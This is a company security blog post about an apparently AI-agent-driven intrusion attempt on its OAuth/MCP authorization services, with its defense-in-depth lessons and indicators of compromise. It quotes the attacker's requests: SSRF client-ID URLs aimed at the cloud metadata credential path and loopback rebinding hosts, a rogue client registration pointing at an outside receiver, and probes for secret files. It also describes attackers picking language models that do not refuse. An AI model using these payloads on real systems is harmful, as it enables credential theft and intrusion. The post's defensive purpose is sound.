An ARTEX Agent Attacked Us for Nine Hours. Here Is What Held.
On Friday, November 13, the FBI published a FLASH alert about ARTEX, an open-source penetration testing framework that attackers have turned against real organizations since at least August. The alert is worth reading in full. Overnight on November 17, an agent carrying ARTEX's markers spent nine hours attacking our production systems.
It got nothing it could use. This post covers what it tried, which layer stopped each attempt and the one place where we found it later than we should have. It also covers what we did in the four days between the alert and the attack, because that work is the reason this is a short story.
What ARTEX is
ARTEX is an autonomous, multi-agent penetration testing platform written in Go. You describe a goal in plain language. Specialized agents plan the steps and run the same open-source tools any penetration tester uses, with very little human involvement after the goal is set. It ships without a model of its own and connects to whichever LLM provider the operator chooses.
It was built for authorized testing, and it is good at it. We used it for red-team exercises against our own systems before its developer took the repository down on October 8 after reports of abuse. Taking it down did not take it away. Forks, archived copies and a commercial edition called ARTEX PRO remain available, and by early November researchers had counted more than 1,600 ARTEX consoles exposed on the internet.
The FBI's summary of what it does in the wrong hands is blunt:
- Speed. Some intrusions went from initial targeting to privileged access in under three hours.
- Breadth. The agents excel at the systems that get less attention than the flagship product: partner and supplier portals, mobile backends, employee applications, legacy services and third-party integrations.
- Scale. Small groups run several intrusion campaigns at once. Targets include financial services, government, technology, defense, healthcare, manufacturing, telecommunications and legal organizations.
- No model guardrails. Analysis of attacker-controlled instances found Chinese models most prevalent, with DeepSeek Flash dominating because of its capability, low cost and "lack of observable guardrails when framed for penetration testing."
None of the techniques are new. SQL injection, SSRF, unsigned SAML assertions, IDOR, credentials in JavaScript bundles and Kerberoasting have been on checklists for years. ARTEX makes working through the whole checklist fast and cheap. That changes the economics for the attacker, not the advice for the defender.
No single control holds
An agent that reasons, retries and adjusts at machine speed will find the gap in any one control. So the answer is defense in depth: independent layers, each built on the assumption that the one before it will fail. We think of them as a belt, suspenders and safety pins.
The belt: prevention
On Sunday we blocked the 24 IP addresses from the FBI's alert at every firewall in front of our services and added an alarm on any outbound connection to them. We also searched 90 days of load balancer, firewall, network flow and cloud audit logs. None of the addresses had ever touched us.
That work is worth an afternoon and not much more. The FBI itself says the addresses may already have been reassigned to someone else, and that operators route through residential proxies, Tor, SOCKS proxies and compromised relays. Deciding trust by network address is the habit Zero Trust exists to break.
The more useful belt work is closing known classes of bug on every internet-facing system. On Monday we turned the FBI's table of observed techniques into a test plan and ran it against our own services:
| Technique in the FBI alert | What we tested | Result |
|---|---|---|
| Unsigned or forged SAML assertions | Signature wrapping, attacker-supplied keys, algorithm confusion, weak digests, XXE and comment injection against our SAML service provider | Held. We added a check that refuses to validate at all if the runtime has secure XML signature validation switched off |
| SSRF, including cloud metadata | Every place a user-supplied URL is fetched, against internal and reserved address ranges | Held. Two reserved ranges were missing from the blocklist and are now included |
| Missing authentication on web APIs | All 1,176 operations of our main API, called without credentials | Held. The 50 that answer are public by design |
| Credentials in single-page app bundles | Our production JavaScript bundles | Clean |
| IDOR and cross-tenant access | One tenant's credentials against another tenant's paths, and one tenant's resource IDs on its own paths | Held. A token does not even authenticate outside its own tenant |
Mass assignment (is_admin=true) | Every endpoint that saves a request body into a stored record | Three endpoints accepted fields only the server should set. In one, a tenant administrator who knew another tenant's random configuration ID could overwrite that configuration. All three fixed |
| Template injection | Every template engine path | No path from user input to template evaluation |
Every fix above is in production. Running the checklist took a day. Running it before an incident is the whole point.
The suspenders: Zero Trust
The suspenders assume something gets through. Nothing is granted because of where a request comes from. Each credential carries the narrowest scope it needs, workloads cannot reach the cloud metadata service and one tenant's access never extends to another tenant's data.
This is the layer the attack ran into. Between 03:38 and 12:40 UTC today, a single address in a Hong Kong hosting range sent about 10,400 requests to every public host we run, from curl and Python scripts, in bursts with pauses between them. It went where the FBI says these agents go, which is everywhere:
- Our website first. At 03:38 it read www.ferentin.com, including the sign-up page and the JavaScript behind it. Seven minutes later it started on our APIs, and before long it was calling the sign-up endpoint that page uses.
- Every web console. It downloaded all 1,854 JavaScript files of our admin console, and the bundles of our user console, learning portal, documentation and integration catalog. Reading single-page app bundles for hardcoded credentials and hidden API routes is on the FBI's list. We had checked ours for secrets on Monday. Its requests for
/.env,/.git/configandbackup.sqlreturned each console's own home page, because no such files exist to serve. - Every API surface. The main API, the authorization server, SCIM provisioning, the MCP gateway, MCP Apps, the agent-to-agent gateway, the Slack integration, the control plane and the tunnel endpoint.
- Tenant subdomains. It guessed common tenant names on each of those surfaces to find which tenants exist, then probed the ones it found.
It left ARTEX's fingerprints: an OAuth client it registered under the name artex-probe, a webhook.site receiver for out-of-band callbacks and numbered markers in the names of everything it created. The FBI lists exactly these traits: "high volumes of failed attempts with iterative, incremental changes" and "newly created accounts with naming patterns."

Every HTTP request from the attacking address, in five-minute buckets. There is no spike to catch. The agent worked in bursts with pauses between them, and its busiest minute averaged about five requests a second.
What it tried, and what stopped it:
- SSRF through OAuth client metadata. MCP clients can identify themselves with a URL that the authorization server fetches (more on that below). Over 15 minutes the agent offered about 55 of them: the cloud metadata endpoint, a loopback address, hostnames under a wildcard DNS service that resolve to private addresses, URL shorteners, redirect chains through a public redirect service and its own receivers. Addresses that were internal on their face were refused before any connection. Hostnames that resolved to private addresses were refused at connection time, after DNS. For public URLs our server made the request, which is what the protocol asks of it. Redirects were not followed, and none of the documents it served was accepted. What it learned is that our server will fetch a public URL, and from which address. We have since closed that too: our server now fetches nothing for a client that no tenant has registered, whatever the request asks for.
- Redirect URI substitution. It tried to send a legitimate client's authorization codes to its own receiver. Redirect URIs must match the registered values exactly, so the request was rejected.
- Client authentication variations. It cycled through client credentials, signed assertions and different authentication methods for the same clients. Each combination a client is not registered for was refused.
- Workload identity exchange. It tried to exchange external tokens for access tokens. The feature is off unless a tenant turns it on, and no tenant it tried had.
- Directory, enrollment and admin endpoints. It tried SCIM provisioning, device and edge enrollment, administrative APIs and framework management endpoints. All required credentials it did not have.
- Dynamic client registration. It registered 21 OAuth clients across four tenants, some pointing at its own receiver. The protocol allows anyone to register, so in Ferentin each tenant decides whether to accept open registration at all, and it is off by default. Where it is on, a self-registered client can only ask a person to sign in, and the consent screen says so. Nobody signed in through any of them. We have deactivated them all, and we are adding automatic expiry for registrations nobody uses.
All 298 of its sign-in and token attempts failed. No token was issued, and the only responses it received were the public documents any client can read.
None of those refusals came from the firewall. The firewall stopped about 1,800 requests aimed at paths that do not exist or sent without any credentials. Everything the agent did that looked like a real client was refused by a control that assumed the request might be hostile no matter where it came from.
reCAPTCHA and sign-up limits: the website's front door held
Anyone can start a Ferentin trial from www.ferentin.com. The sign-up form runs Google reCAPTCHA in the browser and sends its token with the request, and the authorization server verifies that token with Google before it does anything else. The agent read the page, found the sign-up API in its JavaScript and called the API directly, about 90 times, mostly with numbered addresses at disposable email services.
Calling the API directly is exactly what reCAPTCHA is for. Dozens of attempts arrived with no token or an invalid one and were refused. The rest ran into the checks behind it, each independent of the others:
- Consumer and disposable email domains are refused. A trial needs a work domain. Gmail, Outlook, Mailinator, Yopmail and Maildrop addresses went nowhere.
- Sign-ups are rate limited by IP address, by email address and by domain. The per-IP limit of five an hour fired 42 times. The per-domain limit fired on each disposable mail service it tried.
- The "Sign up with Google, Microsoft or GitHub" buttons have their own limit. It fired 16 times. Those paths also need a real account at the identity provider.
- Every refusal looks like a success. The API gives the same success response whether or not an email was sent, so the agent could not tell which control stopped it, or that any had.
No verification email was sent and no tenant was created.
Rate limits turned a flood into a trickle, and the agent adapted
Client registration is limited to five requests a minute from one address. The agent's first burst, six attempts across five tenants in under a minute at 07:07, drew two 429 Too Many Requests responses. It tried again a minute later and got two more.
Then it changed pace. Between 07:10:43 and 07:11:55 it registered six clients, one every 14 seconds, just under the limit. Each later burst drew more refusals, and each time the agent slowed down and carried on. Over six hours it made 126 registration attempts. The rate limit refused 15. Tenants that have registration switched off refused 10 outright. Most of the rest named tenants or paths that do not exist. Of the 36 that succeeded, 15 returned an existing registration rather than creating one, and 21 created new records.
This is what a rate limit does against an agent. It bounds volume, and it does not judge intent. A flood of thousands of fake clients in a few minutes is impossible. A steady trickle is not, and at five a minute one address can still create 300 records an hour. The FBI notes that these operators rotate through residential proxies, so a determined one would not be limited to one address either. An agent reads the 429, adjusts and carries on, which a script would not. The rate limit is a belt.
What made the 21 records harmless was the next layer. A self-registered client gets nothing on its own. It can only ask a person to sign in, and before any result leaves us the consent screen marks it as self-registered in the last 24 hours, warns that it chose its own name and nothing about it has been verified, and names the website the result would go to: in this case webhook.site. Nobody signed in through any of the 21.
Here is one of those registrations and the sign-in the agent started with it. The registration body is rebuilt from the record we stored, since load balancer logs keep only the request line. Tenant names are replaced with a placeholder.
# 07:19:54 UTC: register a client that sends sign-ins to the agent's receiver
POST https://<tenant>.mcp.ferentin.net/v1/oauth/register
Content-Type: application/json
{
"client_name": "ssrf-dcr-probe",
"redirect_uris": ["https://webhook.site/fdd52623-…/cb"],
"grant_types": ["authorization_code", "refresh_token"],
"token_endpoint_auth_method": "client_secret_basic"
}
→ 201 Created client_id: dcr_BDcPaBZ9… client_secret: (returned once)
# 07:22:20 UTC: start a sign-in with that client
GET https://<tenant>.auth.ferentin.net/authorize
?client_id=dcr_BDcPaBZ9…
&redirect_uri=https://webhook.site/fdd52623-…/cb
&scope=openid profile mcp
&response_type=code&state=…&code_challenge=…&code_challenge_method=S256
→ 302 to the sign-in page. After sign-in comes a consent screen like the one
below, naming ssrf-dcr-probe and sending the result to webhook.site.

We are adding the layers after that too. Registrations nobody approves will expire, a daily cap will sit behind the per-minute limit, and an alert will fire on a sustained pattern from one source rather than on any single request.
Why an attacker can register OAuth clients at all
Two of the agent's lines of attack went through the way MCP clients introduce themselves to an authorization server. That design is changing, and the change is worth understanding.
An MCP client and the server it connects to usually have no prior relationship. A developer installs an assistant, points it at a server and expects it to work. Classic OAuth assumes the opposite: an administrator registers each client in advance and receives a client ID. The first MCP authorization specifications bridged that gap with Dynamic Client Registration (RFC 7591). Any client can send one unauthenticated request to the server's registration endpoint, describe itself and receive a client ID on the spot.
That convenience has costs, and the attack used all of them:
- The endpoint is open by design. Anyone on the internet can call it, which is how one script registered 21 clients across four tenants.
- Every call leaves a record behind. Registrations accumulate whether or not anyone ever uses them.
- Nothing anchors the identity. A client's name and redirect URIs are whatever the caller claims. Anyone can register a client called "Claude Desktop" with a redirect URI that points at their own server, and the authorization server has no way to tell it from the real one.
Client ID Metadata Documents (CIMD, an IETF draft) solve the same problem differently. The client ID is an HTTPS URL that points at a JSON document the client publishes, for example https://app.example.com/oauth/client-metadata.json. When a sign-in starts, the authorization server fetches that document, checks that the client_id inside it matches the URL exactly and accepts only the redirect URIs it lists. The identity is anchored to a domain the client's publisher controls. Nothing is registered and nothing accumulates. An authorization server can also apply a trust policy and accept documents only from domains it recognizes.
The MCP specification has followed that logic in two steps. The 2025-11-25 revision made CIMD the recommended mechanism. The 2026-07-28 revision deprecates Dynamic Client Registration outright: "New implementations should use Client ID Metadata Documents instead." It remains only for backwards compatibility with authorization servers that do not support CIMD yet.
CIMD is not free of risk. It moves it. The authorization server now makes an outbound request to a URL chosen by whoever started the sign-in, and the specification calls out server-side request forgery as the consideration that follows. That is exactly what the agent tried, offering the cloud metadata endpoint, a loopback address and hostnames that resolve to private addresses as its client ID. A CIMD fetch has to be treated like any other request to an untrusted URL. Check the address before connecting, check it again after DNS resolves, refuse anything internal and do not follow redirects. Better still, do not fetch until you know the client. Check your own records first, and fetch a document only for a client someone has registered.
Ferentin supports CIMD as the preferred path and keeps Dynamic Client Registration for older clients. Each tenant decides whether to accept open registration, and it is off by default. A CIMD client must be on the tenant's approved list before it can sign anyone in, and an administrator can approve one by the URL pattern of its metadata document. Until a tenant has approved it, we do not fetch its document at all. An unregistered URL gets the same refusal whatever access it asks for, so the response tells the caller nothing about the address it named. A self-registered client meets a consent screen that says so, with the destination of the result spelled out. The agent's 21 registrations and 55 metadata URLs bought it no access.
These are the agent's metadata URLs. A client ID that is a URL tells the authorization server where to fetch the client's metadata document.
# 07:19:07 UTC: one of about 55 sign-ins that named a URL as the client ID
GET https://<tenant>.auth.ferentin.net/authorize
?client_id=https://webhook.site/fdd52623-…/cimd
&redirect_uri=https://webhook.site/fdd52623-…/cb
&scope=openid profile mcp
&response_type=code&state=…&code_challenge=…&code_challenge_method=S256
# Other client IDs it offered over the next 15 minutes
http://169.254.169.254/latest/meta-data/iam/security-credentials/
https://127.0.0.1:1/cimd
https://169-254-169-254.nip.io/t1
https://127-0-0-1.nip.io/t1
https://httpbin.org/redirect-to?url=https://webhook.site/fdd52623-…
https://tinyurl.com/…
https://www.google.com/h1794900225
https://1.1.1.1/h1794900225
Each of those now gets the same answer, and our server fetches none of them.

The safety pins: detection
Safety pins are the logging, alerts and alarms that catch what the first two layers miss. They need testing as much as the other layers do, and ours taught us that twice this week.
On Monday we fired each of our security alarms on purpose, with harmless actions, and followed every one to the inbox. Most worked. The rule that forwards findings from our cloud threat detection service had never delivered a single one. It compared the finding's severity with a word, and the service reports severity as a number. A second rule could not publish to its notification topic because of a missing permission. Both looked correct in configuration review. Only a live test showed they did nothing. Both are fixed, and a drill with simulated credential theft now reaches us in about 16 minutes.
The attack exposed the second lesson. We found it the same day, in a log sweep for ARTEX indicators, not from an alarm. Each request on its own was a refused login or a 404, the kind of noise every public service sees thousands of times a day. The signal was the pattern: one source, hundreds of failures across several tenants and incrementing names, over nine hours. Google's threat intelligence team makes the same point about ARTEX: correlate the sequence rather than alerting on each event alone. We are adding alerts on exactly that sequence.
Zero Trust for the agent itself
The FBI's note about models deserves more attention than it is getting. The operators chose models that do not refuse. Any defense that depends on the model declining a harmful request has already been routed around, because the attacker picks the model.
The same is true inside your own organization. Your employees and your automations are now running agents too, against your own systems and data, with whatever model and framework they chose. The security layer has to sit outside the agent and outside the model. In practice that means three things:
- A policy decision on every tool call, based on who made the request and what they are allowed to do, regardless of which agent or model sent it. A coding assistant and a rogue script holding the same credential should hit the same policy.
- Credentials that cannot be stretched. An agent should hold a narrowly scoped, short-lived credential issued to a known identity, not a provider key or a service account that works everywhere.
- A complete record of every call, attributed to an identity and a policy, so an unexpected one can be found and investigated.
This is what we built Ferentin to do. Our MCP gateway evaluates policy on every tool call against the caller's identity, and our AI gateway attributes every model request to a key, a user or agent and a policy. Neither depends on the model behaving.
There is a detection benefit too. The FBI lists unexpected outbound calls to model APIs such as api.deepseek.com, open.bigmodel.cn and api.x.ai as an indicator of ARTEX activity. When your sanctioned AI traffic goes through one gateway, a server calling a model provider directly stands out as an anomaly you can alarm on at the network edge.
What to do this week
- Read the FBI alert and turn its technique table into a test plan. Run it against every internet-facing system, including the portals, mobile backends and older applications nobody actively owns.
- Block the published addresses, then move on. It is cheap. It is not protection.
- Check that no workload can reach the cloud metadata service through any URL a user can influence.
- Find every endpoint that saves a request body into a record and confirm it ignores fields only the server should set.
- Fire every security alarm you have, on purpose, and follow it to a human. Configuration review will not tell you an alert never arrives.
- If you run an authorization server for MCP, prefer CIMD and close or gate Dynamic Client Registration. Require approval before a self-registered client can sign anyone in, expire registrations nobody approves, fetch no metadata document for a client nobody registered and treat every fetch you do make as an SSRF risk.
- Alert on sequences, not just events. Many failures from one source across many accounts or tenants is the shape of an agent at work.
- Put AI traffic, and the tools agents call, behind a policy layer you control, with an identity on every request and a record of every call.
Indicators
For defenders who want to check their own logs. As the FBI cautions, vet these against your own telemetry before acting on them, since hosting addresses are reassigned.
| Indicator | Context |
|---|---|
191.124.248[.]106 | Source of the attack, November 17, 2026, 03:38 to 12:40 UTC (Hong Kong hosting range) |
hxxps://webhook[.]site/fdd52623-170a-4f24-84d8-467e819958cf/, hxxps://webhook[.]site/888aa737-8142-488b-8900-1f33277c8502 | Out-of-band receivers used as OAuth client metadata URLs and redirect URIs |
178-63-67-153[.]nip[.]io | Client metadata URL resolving to 178.63.67[.]153, which our server was asked to fetch |
artex-probe | Name of a dynamically registered OAuth client |
probe103836, r104897, t104901, i112959 | Incrementing markers in the names of registered clients |
curl/8.5.0, python-requests/2.34.2, probe | User agents |
mailsac.com, temptami.com, euploading.com, mail.tm and similar | Disposable email domains used in trial sign-up attempts, with numbered local parts |
None of this is new advice. What is new is that an attacker can now work through the entire checklist in an afternoon, for the price of some API calls to a model that will not say no. The defenses have to be in place before the incident, not assembled during it.
Ferentin's controls are audited under our SOC 2 Type II certification. The report is available under NDA through our Trust Center.
Stay in the loop
Get the latest on enterprise AI security delivered to your inbox.